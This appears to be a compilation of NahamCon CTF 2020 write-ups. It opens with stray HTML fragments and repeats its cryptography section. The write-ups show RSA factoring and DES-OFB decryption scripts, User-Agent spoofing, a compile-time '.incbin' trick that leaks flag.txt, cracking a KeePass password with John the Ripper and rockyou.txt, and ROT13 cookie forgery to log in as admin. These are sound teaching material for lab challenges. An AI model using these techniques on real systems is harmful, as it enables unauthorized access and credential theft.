js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# Cryptography
## Twinning```These numbers wore the same shirt! LOL, #TWINNING!
Connect with:nc jh2i.com 50013```
We start by connecting to the level:```$ nc jh2i.com 50013Generating public and private key...Public Key in the format (e,n) is: (65537,10507244454143)The Encrypted PIN is 882113417291What is the PIN?```
It's a basic RSA encryption, we can see that N is tooo small, we can try to factorise it with http://www.factordb.com/index.php?query=10507244454143
Bingo, `10507244454143` = `3241487` * `3241489`
Now, we can decrypt the cipher with python:``` python$ pythonPython 2.7.18 (default, Apr 21 2020, 18:49:31) Type "help", "copyright", "credits" or "license" for more information.>>> p = 3241487>>> q = 3241489>>> N = p * q>>> print N == 10507244454143True>>> e = 65537>>> phi = (q - 1) * (p - 1)>>> from Crypto.Util.number import inverse>>> d = inverse(e, phi)>>> cipher = 882113417291>>> plaintext = pow(cipher, d, N)>>> print plaintext1668```
The plaintext pin is `1668`
Finally, we send it to the challenge:```$ nc jh2i.com 50013Generating public and private key...Public Key in the format (e,n) is: (65537,10507244454143)The Encrypted PIN is 882113417291What is the PIN?1668Good job you won!flag{thats_the_twinning_pin_to_win}```
The flag is: `flag{thats_the_twinning_pin_to_win}`
## Ooo-la-la```Uwu, wow! Those numbers are fine!
Download the file below.Files: prompt.txt```
`prompt.txt` content:```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983```
We can try to factorize N with http://www.factordb.com and we can see that N = `1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207` * `1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213`
Then we can decrypt the cipher like **Twinning** challenge:``` python$ pythonPython 2.7.18 (default, Apr 21 2020, 18:49:31) Type "help", "copyright", "credits" or "license" for more information.>>> p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207>>> q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213>>> N = p * q>>> print N == 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091True>>> e = 65537>>> phi = (q - 1) * (p - 1)>>> from Crypto.Util.number import inverse>>> d = inverse(e, phi)>>> cipher = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983>>> plaintext = pow(cipher, d, N)>>> print plaintext50937517511042200745290788421321823843091772536455731976208097788779057394456536262472573>>> print hex(plaintext)[2:-1].decode('hex')flag{ooo_la_la_those_are_sexy_primes}```
The flag is `flag{ooo_la_la_those_are_sexy_primes}`
## December```This is my December...
Download the file below.Files: source.py ciphertext```
`source.py`:``` python#!/usr/bin/env python
from Crypto.Cipher import DES
with open('flag.txt', 'rb') as handle: flag = handle.read()
padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00')
with open('key', 'rb') as handle: key = handle.read().strip()
iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag)
with open('ciphertext','wb') as handle: handle.write(ct)```
`source.py` encrypt the message in `ciphertext` with DES-OFB algorithm
I admit that I was inspired by this write-up: https://shrikantadhikarla.wordpress.com/2016/03/08/des-ofb-writeup-boston-key-party-ctf/
When we run this scipt:``` pythonfrom Crypto.Cipher import DES, XORimport operator
block_size = DES.block_sizeIV = '13371337'f = open('ciphertext', 'r')ciphertext = f.read()f.close()
first_line = '????????'p0 = first_line[:block_size]c0 = ciphertext[:block_size]xor = XOR.new(c0)ek = xor.decrypt(p0)
plainblocks = ''i=0while True: cj = ciphertext[(i*block_size):((i+1)*block_size)] if not cj: break xor = XOR.new(cj) if (operator.mod(i+1,2)==0): plainblock = xor.decrypt(IV) else: plainblock = xor.decrypt(ek) i = i+1 plainblocks = plainblocks + plainblockprint plainblocks```We get:```$ ./cracker.py | hexdump -C00000000 3f 3f 3f 3f 3f 3f 3f 3f 65 20 6d 79 20 73 6e 6f |????????e my sno|00000010 1c 77 39 23 2c 7a 2c 28 64 20 64 72 65 61 6d 73 |.w9#,z,(d dreams|00000020 61 03 32 25 29 3f 37 3e 20 6d 65 20 70 72 65 74 |a.2%)?7> me pret|00000030 0e 39 3e 25 34 78 54 2b 6c 61 67 7b 74 68 69 73 |.9>%4xT+lag{this|00000040 34 3e 29 13 3b 73 32 12 69 5f 6e 65 65 64 7d 00 |4>).;s2.i_need}.|00000050 0a |.|```But nothing more, we have to try to guess the message to continue to decrypt it
We can guess that on line 4, there is the word `flag`
We try all combinations of the 8th char of the first line and we get with `???????r` as fist line:```$ ./cracker.py | hexdump -C00000000 3f 3f 3f 3f 3f 3f 3f 72 65 20 6d 79 20 73 6e 6f |???????re my sno|00000010 1c 77 39 23 2c 7a 2c 65 64 20 64 72 65 61 6d 73 |.w9#,z,ed dreams|00000020 61 03 32 25 29 3f 37 73 20 6d 65 20 70 72 65 74 |a.2%)?7s me pret|00000030 0e 39 3e 25 34 78 54 66 6c 61 67 7b 74 68 69 73 |.9>%4xTflag{this|00000040 34 3e 29 13 3b 73 32 5f 69 5f 6e 65 65 64 7d 00 |4>).;s2_i_need}.|00000050 0a |.|```
Then we can guess the word `are` in first line, so in script `first_line` is equal to `??????ar`, and we get:```$ ./cracker.py | hexdump -C00000000 3f 3f 3f 3f 3f 3f 61 72 65 20 6d 79 20 73 6e 6f |??????are my sno|00000010 1c 77 39 23 2c 7a 72 65 64 20 64 72 65 61 6d 73 |.w9#,zred dreams|00000020 61 03 32 25 29 3f 69 73 20 6d 65 20 70 72 65 74 |a.2%)?is me pret|00000030 0e 39 3e 25 34 78 0a 66 6c 61 67 7b 74 68 69 73 |.9>%4x.flag{this|00000040 34 3e 29 13 3b 73 6c 5f 69 5f 6e 65 65 64 7d 00 |4>).;sl_i_need}.|00000050 0a |.|```
Next, we can add a space before the word `are`, and with `????? ar` we get:```$ ./cracker.py | hexdump -C00000000 3f 3f 3f 3f 3f 20 61 72 65 20 6d 79 20 73 6e 6f |????? are my sno|00000010 1c 77 39 23 2c 65 72 65 64 20 64 72 65 61 6d 73 |.w9#,ered dreams|00000020 61 03 32 25 29 20 69 73 20 6d 65 20 70 72 65 74 |a.2%) is me pret|00000030 0e 39 3e 25 34 67 0a 66 6c 61 67 7b 74 68 69 73 |.9>%4g.flag{this|00000040 34 3e 29 13 3b 6c 6c 5f 69 5f 6e 65 65 64 7d 00 |4>).;ll_i_need}.|00000050 0a |.|```
We guess the word `all` in flag, we try all combinations of the 5th char and we get with `????e ar` as fist line:```./cracker.py | hexdump -C00000000 3f 3f 3f 3f 65 20 61 72 65 20 6d 79 20 73 6e 6f |????e are my sno|00000010 1c 77 39 23 76 65 72 65 64 20 64 72 65 61 6d 73 |.w9#vered dreams|00000020 61 03 32 25 73 20 69 73 20 6d 65 20 70 72 65 74 |a.2%s is me pret|00000030 0e 39 3e 25 6e 67 0a 66 6c 61 67 7b 74 68 69 73 |.9>%ng.flag{this|00000040 34 3e 29 13 61 6c 6c 5f 69 5f 6e 65 65 64 7d 00 |4>).all_i_need}.|00000050 0a |.|```
Same for char `_` before the word `all` in flag, and we get with `???se ar` as fist line:```$ ./cracker.py | hexdump -C00000000 3f 3f 3f 73 65 20 61 72 65 20 6d 79 20 73 6e 6f |???se are my sno|00000010 1c 77 39 6f 76 65 72 65 64 20 64 72 65 61 6d 73 |.w9overed dreams|00000020 61 03 32 69 73 20 69 73 20 6d 65 20 70 72 65 74 |a.2is is me pret|00000030 0e 39 3e 69 6e 67 0a 66 6c 61 67 7b 74 68 69 73 |.9>ing.flag{this|00000040 34 3e 29 5f 61 6c 6c 5f 69 5f 6e 65 65 64 7d 00 |4>)_all_i_need}.|00000050 0a |.|```And finally, we can guess that `These` is the first word of fist line, and with `These ar` as first line, we get:```$ ./cracker.py | hexdump -C00000000 54 68 65 73 65 20 61 72 65 20 6d 79 20 73 6e 6f |These are my sno|00000010 77 20 63 6f 76 65 72 65 64 20 64 72 65 61 6d 73 |w covered dreams|00000020 0a 54 68 69 73 20 69 73 20 6d 65 20 70 72 65 74 |.This is me pret|00000030 65 6e 64 69 6e 67 0a 66 6c 61 67 7b 74 68 69 73 |ending.flag{this|00000040 5f 69 73 5f 61 6c 6c 5f 69 5f 6e 65 65 64 7d 00 |_is_all_i_need}.|00000050 0a |.|```The flag is `flag{this_is_all_i_need}
|
# Web
## Agent 95```They've given you a number, and taken away your name~
Connect here:http://jh2i.com:50000```
On website, it writes:```You don't look like our agent!We will only give our flag to our Agent 95! He is still running an old version of Windows...```
Agent 95 ? Maybe its window 95 user-agent ?
On https://en.wikipedia.org/wiki/User_agent we can see that the user-agent or Window95 is `Microsoft Internet Explorer/4.0b1 (Windows 95)`
We access to the website with this user-agent and we can read the flag:```$ curl -h "^Cft Internet Explorer/4.0b1 (Windows 95ows 95)" http://jh2i.com:50000/[tom.rorato@linux Downloads]$ curl -H "User-Agent:Microsoft Internet Explorer/4.0b1 (Windows 95) " http://jh2i.com:50000/flag{user_agents_undercover}[...]```
The flag is: `flag{user_agents_undercover}`
## Localghost```BooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??
Connect here:http://jh2i.com:50003
Note, this flag is not in the usual format.```
On website, the flag is stored on local storage, we can access to it in firefox with `inspect element`, go in `Storage` menu and in `Local Storage`
The flag is: `JCTF{spoooooky_ghosts_in_storage}` |
I first tried to use some preprocessor directives, like they did in hxpCTF```#define _str(x) #x#define str(x) _str(x)#define batpwn str(const char* flag =#include './flag.txt')```
This however didn't compile, with error about the open parenthesis.So I changed directions and tried to find a different way to include a file while compilation, after looking at some other writeups for simillar challenges I saw this cool thing you can do with inline assembly `.incbin`
Solution:```int main(void) { __asm__ ( ".incbin \"./flag.txt\"" ); return 0;}``` Let the service compile this code, then use `strings` on it to find the flag included.Flag: `batpwn{CTFs_the_only_way_towards_actual_hacking}` |
Connecting to the webpage gives a site of some never ending/scrolling ghost (nice).
Inspecting source code doesn't show much. Opening developer tools and inspecting values, under Local Storage, we find the flag in plaintext.

[Full writeup](https://bigpick.github.io/TodayILearned/articles/2020-06/nahamConCTF-writeups#localghost) |
The description already tells us that we have to look into the DNS information of jh2i.com. You can use a tool like [https://www.ultratools.com/tools/dnsLookupResult](https://www.ultratools.com/tools/dnsLookupResult) to check the different DNS Records. In the SPF Record (Sender Policy Framework, Email-Spoofing protection) we find the flag.
"flag{next_year_i_wont_use_spf}" |
# Cryptography
## Twinning```These numbers wore the same shirt! LOL, #TWINNING!
Connect with:nc jh2i.com 50013```
We start by connecting to the level:```$ nc jh2i.com 50013Generating public and private key...Public Key in the format (e,n) is: (65537,10507244454143)The Encrypted PIN is 882113417291What is the PIN?```
It's a basic RSA encryption, we can see that N is tooo small, we can try to factorise it with http://www.factordb.com/index.php?query=10507244454143
Bingo, `10507244454143` = `3241487` * `3241489`
Now, we can decrypt the cipher with python:``` python$ pythonPython 2.7.18 (default, Apr 21 2020, 18:49:31) Type "help", "copyright", "credits" or "license" for more information.>>> p = 3241487>>> q = 3241489>>> N = p * q>>> print N == 10507244454143True>>> e = 65537>>> phi = (q - 1) * (p - 1)>>> from Crypto.Util.number import inverse>>> d = inverse(e, phi)>>> cipher = 882113417291>>> plaintext = pow(cipher, d, N)>>> print plaintext1668```
The plaintext pin is `1668`
Finally, we send it to the challenge:```$ nc jh2i.com 50013Generating public and private key...Public Key in the format (e,n) is: (65537,10507244454143)The Encrypted PIN is 882113417291What is the PIN?1668Good job you won!flag{thats_the_twinning_pin_to_win}```
The flag is: `flag{thats_the_twinning_pin_to_win}`
## Ooo-la-la```Uwu, wow! Those numbers are fine!
Download the file below.Files: prompt.txt```
`prompt.txt` content:```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983```
We can try to factorize N with http://www.factordb.com and we can see that N = `1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207` * `1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213`
Then we can decrypt the cipher like **Twinning** challenge:``` python$ pythonPython 2.7.18 (default, Apr 21 2020, 18:49:31) Type "help", "copyright", "credits" or "license" for more information.>>> p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207>>> q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213>>> N = p * q>>> print N == 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091True>>> e = 65537>>> phi = (q - 1) * (p - 1)>>> from Crypto.Util.number import inverse>>> d = inverse(e, phi)>>> cipher = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983>>> plaintext = pow(cipher, d, N)>>> print plaintext50937517511042200745290788421321823843091772536455731976208097788779057394456536262472573>>> print hex(plaintext)[2:-1].decode('hex')flag{ooo_la_la_those_are_sexy_primes}```
The flag is `flag{ooo_la_la_those_are_sexy_primes}`
## December```This is my December...
Download the file below.Files: source.py ciphertext```
`source.py`:``` python#!/usr/bin/env python
from Crypto.Cipher import DES
with open('flag.txt', 'rb') as handle: flag = handle.read()
padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00')
with open('key', 'rb') as handle: key = handle.read().strip()
iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag)
with open('ciphertext','wb') as handle: handle.write(ct)```
`source.py` encrypt the message in `ciphertext` with DES-OFB algorithm
I admit that I was inspired by this write-up: https://shrikantadhikarla.wordpress.com/2016/03/08/des-ofb-writeup-boston-key-party-ctf/
When we run this scipt:``` pythonfrom Crypto.Cipher import DES, XORimport operator
block_size = DES.block_sizeIV = '13371337'f = open('ciphertext', 'r')ciphertext = f.read()f.close()
first_line = '????????'p0 = first_line[:block_size]c0 = ciphertext[:block_size]xor = XOR.new(c0)ek = xor.decrypt(p0)
plainblocks = ''i=0while True: cj = ciphertext[(i*block_size):((i+1)*block_size)] if not cj: break xor = XOR.new(cj) if (operator.mod(i+1,2)==0): plainblock = xor.decrypt(IV) else: plainblock = xor.decrypt(ek) i = i+1 plainblocks = plainblocks + plainblockprint plainblocks```We get:```$ ./cracker.py | hexdump -C00000000 3f 3f 3f 3f 3f 3f 3f 3f 65 20 6d 79 20 73 6e 6f |????????e my sno|00000010 1c 77 39 23 2c 7a 2c 28 64 20 64 72 65 61 6d 73 |.w9#,z,(d dreams|00000020 61 03 32 25 29 3f 37 3e 20 6d 65 20 70 72 65 74 |a.2%)?7> me pret|00000030 0e 39 3e 25 34 78 54 2b 6c 61 67 7b 74 68 69 73 |.9>%4xT+lag{this|00000040 34 3e 29 13 3b 73 32 12 69 5f 6e 65 65 64 7d 00 |4>).;s2.i_need}.|00000050 0a |.|```But nothing more, we have to try to guess the message to continue to decrypt it
We can guess that on line 4, there is the word `flag`
We try all combinations of the 8th char of the first line and we get with `???????r` as fist line:```$ ./cracker.py | hexdump -C00000000 3f 3f 3f 3f 3f 3f 3f 72 65 20 6d 79 20 73 6e 6f |???????re my sno|00000010 1c 77 39 23 2c 7a 2c 65 64 20 64 72 65 61 6d 73 |.w9#,z,ed dreams|00000020 61 03 32 25 29 3f 37 73 20 6d 65 20 70 72 65 74 |a.2%)?7s me pret|00000030 0e 39 3e 25 34 78 54 66 6c 61 67 7b 74 68 69 73 |.9>%4xTflag{this|00000040 34 3e 29 13 3b 73 32 5f 69 5f 6e 65 65 64 7d 00 |4>).;s2_i_need}.|00000050 0a |.|```
Then we can guess the word `are` in first line, so in script `first_line` is equal to `??????ar`, and we get:```$ ./cracker.py | hexdump -C00000000 3f 3f 3f 3f 3f 3f 61 72 65 20 6d 79 20 73 6e 6f |??????are my sno|00000010 1c 77 39 23 2c 7a 72 65 64 20 64 72 65 61 6d 73 |.w9#,zred dreams|00000020 61 03 32 25 29 3f 69 73 20 6d 65 20 70 72 65 74 |a.2%)?is me pret|00000030 0e 39 3e 25 34 78 0a 66 6c 61 67 7b 74 68 69 73 |.9>%4x.flag{this|00000040 34 3e 29 13 3b 73 6c 5f 69 5f 6e 65 65 64 7d 00 |4>).;sl_i_need}.|00000050 0a |.|```
Next, we can add a space before the word `are`, and with `????? ar` we get:```$ ./cracker.py | hexdump -C00000000 3f 3f 3f 3f 3f 20 61 72 65 20 6d 79 20 73 6e 6f |????? are my sno|00000010 1c 77 39 23 2c 65 72 65 64 20 64 72 65 61 6d 73 |.w9#,ered dreams|00000020 61 03 32 25 29 20 69 73 20 6d 65 20 70 72 65 74 |a.2%) is me pret|00000030 0e 39 3e 25 34 67 0a 66 6c 61 67 7b 74 68 69 73 |.9>%4g.flag{this|00000040 34 3e 29 13 3b 6c 6c 5f 69 5f 6e 65 65 64 7d 00 |4>).;ll_i_need}.|00000050 0a |.|```
We guess the word `all` in flag, we try all combinations of the 5th char and we get with `????e ar` as fist line:```./cracker.py | hexdump -C00000000 3f 3f 3f 3f 65 20 61 72 65 20 6d 79 20 73 6e 6f |????e are my sno|00000010 1c 77 39 23 76 65 72 65 64 20 64 72 65 61 6d 73 |.w9#vered dreams|00000020 61 03 32 25 73 20 69 73 20 6d 65 20 70 72 65 74 |a.2%s is me pret|00000030 0e 39 3e 25 6e 67 0a 66 6c 61 67 7b 74 68 69 73 |.9>%ng.flag{this|00000040 34 3e 29 13 61 6c 6c 5f 69 5f 6e 65 65 64 7d 00 |4>).all_i_need}.|00000050 0a |.|```
Same for char `_` before the word `all` in flag, and we get with `???se ar` as fist line:```$ ./cracker.py | hexdump -C00000000 3f 3f 3f 73 65 20 61 72 65 20 6d 79 20 73 6e 6f |???se are my sno|00000010 1c 77 39 6f 76 65 72 65 64 20 64 72 65 61 6d 73 |.w9overed dreams|00000020 61 03 32 69 73 20 69 73 20 6d 65 20 70 72 65 74 |a.2is is me pret|00000030 0e 39 3e 69 6e 67 0a 66 6c 61 67 7b 74 68 69 73 |.9>ing.flag{this|00000040 34 3e 29 5f 61 6c 6c 5f 69 5f 6e 65 65 64 7d 00 |4>)_all_i_need}.|00000050 0a |.|```And finally, we can guess that `These` is the first word of fist line, and with `These ar` as first line, we get:```$ ./cracker.py | hexdump -C00000000 54 68 65 73 65 20 61 72 65 20 6d 79 20 73 6e 6f |These are my sno|00000010 77 20 63 6f 76 65 72 65 64 20 64 72 65 61 6d 73 |w covered dreams|00000020 0a 54 68 69 73 20 69 73 20 6d 65 20 70 72 65 74 |.This is me pret|00000030 65 6e 64 69 6e 67 0a 66 6c 61 67 7b 74 68 69 73 |ending.flag{this|00000040 5f 69 73 5f 61 6c 6c 5f 69 5f 6e 65 65 64 7d 00 |_is_all_i_need}.|00000050 0a |.|```The flag is `flag{this_is_all_i_need}
|
The file is full of 0xFF... Almost, because there are some 0xFE bytes in it.
```FF FE FE FE FE FE FF FE FF FE FE FE FF FF FF FF FF FE FE FF FF FF FF FE FF FE FE FE FF FE FE FE FF FE FE FE FF FF FE FE FF FE FF FE FE FE FE FE FF FE FE FE FE FF FF FE FF FE FE FF FE FE FF FE FF FE FF FE FE FE FE FE FF FE FE FF FE FE FE FF FF FE FE FF FE FF FF FE FF FE FF FE FE FE FE FE FF FE FE FF FF FE FE FE FF FE FE FF FE FE FE FF FF FE FE FF FE FF FF FE FF FE FE FF FE FE FE FE FF FE FE FF FF FE FF FF FF FE FF FE FE FE FE FE FF FE FE FE FF FE FF FE FF FE FE FF FE FE FE FE FF FE FE FE FE FF FF FE FF FE FF FE FE FE FE FE FF FE FE FF FF FE FF FE FF FE FE FE FF FF FE FF FF FE FE FF FF FF FF FE FF FE FF FE FE FE FE FE FF FE FE FE FF FE FF FF FF FE FE FF FF FF FF FE FF FE FE FF FE FF FF FF FF FE FE FE FF FE FE FE FF FE FE FE FE FF FE FE FF FE FE FF FF FE FE FE FF FE FE FF FF FF FF FE FF FE FE FF FE FE FF FF FF FE FE FF FF FE FE FF```
By converting this to binary (FF = 0, FE = 1), you'll get the flag:
`}paws_ym_ni_gniod_uoy_era_tahw{galf`or`flag{what_are_you_doing_in_my_swap}` |
# **NahamCon CTF 2020**
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
